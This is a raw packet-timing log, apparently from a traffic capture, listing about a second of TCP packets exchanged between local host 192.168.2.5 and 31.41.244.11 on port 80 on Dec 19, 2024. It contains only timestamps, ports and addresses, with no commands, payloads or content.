                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.905432940 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.905492067 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.906028032 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.906044006 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.906091928 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.906645060 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.906661034 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.906701088 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.906738043 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.907515049 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.907577038 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.907610893 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.907664061 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.908747911 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.908807039 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.908899069 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.908948898 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.909621954 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.909637928 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.909671068 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.909687996 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.910376072 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.910432100 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.910465956 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.910509109 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.911020041 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.911068916 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.911192894 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.911236048 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.912051916 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.912067890 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.912100077 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.912136078 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.912897110 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.912955046 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.913093090 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.913136959 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.914005995 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.914021969 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.914058924 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.914608002 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.914624929 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.914690018 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.915680885 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.915698051 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.915730953 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.915745020 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.916831017 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.916846991 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.916897058 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.917121887 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.917169094 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.917639017 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.917689085 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.918545961 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.918562889 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.918606043 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.918620110 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.919306040 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.919357061 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.920283079 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.920327902 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.921155930 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.921202898 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.921328068 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.921371937 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.922075987 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.922118902 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.922247887 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.922295094 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.922971010 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.923017979 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.923146963 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.923187971 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.924002886 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.924048901 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.924199104 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.924242020 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.924901009 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.924916029 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.924932003 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.924947023 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.924947977 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.924961090 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.924979925 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.924990892 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.925149918 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.925199032 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.925295115 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.925340891 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.926125050 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.926172018 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.926249981 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.926295996 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.927112103 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.927158117 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.927248001 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.927293062 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.928111076 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.928160906 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.928220034 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.928267002 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.929073095 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.929121017 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.929208040 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.929255009 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.930028915 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.930074930 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.930165052 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.930212021 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.930984020 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:14.931030989 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.072379112 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.072518110 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.072567940 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.072614908 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.072786093 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.072834969 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.072961092 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.073007107 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.073753119 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.073801041 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.073889017 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.073935986 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.074722052 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.074770927 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.074853897 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.074898958 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.075710058 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.075756073 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.075828075 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.075874090 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.076667070 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.076713085 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.076807976 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.076853991 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.077629089 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.077677965 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.077773094 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.077822924 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.078622103 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.078675032 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.078810930 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.078856945 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.079598904 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.079648018 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.079780102 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.079827070 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.080575943 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.080621958 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.080739975 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.080785036 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.081516027 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.081563950 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.081650019 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.081696033 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.082529068 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.082601070 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.082652092 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.082700968 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.083506107 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.083553076 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.083591938 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.083638906 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.084450960 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.084501028 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.084592104 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.084638119 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.085418940 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.085464001 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.085599899 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.085645914 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.086399078 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.086445093 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.086538076 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.086584091 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.087399006 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.087446928 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.087651014 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.087697029 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.088365078 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.088414907 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.088483095 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.088529110 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.089297056 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.089346886 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.089432955 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.089478016 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.090308905 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.090357065 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.090445995 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.090491056 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.091296911 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.091350079 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.091417074 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.091464043 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.092233896 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.092279911 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.092356920 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.092401028 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.093270063 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.093339920 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.093429089 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.093473911 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.094320059 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.094366074 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.094448090 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.094492912 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.095144033 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.095190048 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.095262051 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.095309019 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.096146107 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.096193075 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.096268892 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.096314907 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.097110033 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.097157001 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.097239971 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.097292900 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.098072052 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.098144054 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.098185062 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.098237038 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.099030018 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.099096060 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.099164009 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.099220991 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.100002050 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.100068092 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.100159883 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.100214958 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.100999117 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.101068974 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.101138115 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.101191044 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.101960897 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.102021933 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.102207899 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.102263927 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.102968931 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.103037119 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.103076935 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.103137016 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.103889942 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.103991985 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.104026079 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.104083061 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.104868889 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.104933977 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.105014086 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.105067015 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.105859041 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.105920076 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.105967045 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.106018066 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.107011080 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.107074022 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.107131958 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.107182980 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.107783079 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.107842922 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.107923031 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.107971907 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.108731985 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.108792067 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.108875990 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.108925104 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.109730959 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.109792948 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.109855890 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:15.109911919 CET4980180192.168.2.531.41.244.11
